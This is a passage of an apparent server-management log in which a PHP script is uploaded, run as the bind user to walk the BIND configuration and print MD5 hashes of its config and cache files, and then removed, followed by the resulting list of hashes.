function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-30 13:50:32: 

runuser -l bind -s /bin/bash -c '/tmp/pkp427605; rm /tmp/pkp427605'

2026-01-30 13:50:32: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-30 19:37:16: Establishing a connection
2026-01-30 19:41:42: Establishing a connection
2026-01-30 19:41:42: 

PUT: /tmp/pkp224732

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-30 19:41:43: 

runuser -l bind -s /bin/bash -c '/tmp/pkp224732; rm /tmp/pkp224732'

2026-01-30 19:41:43: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
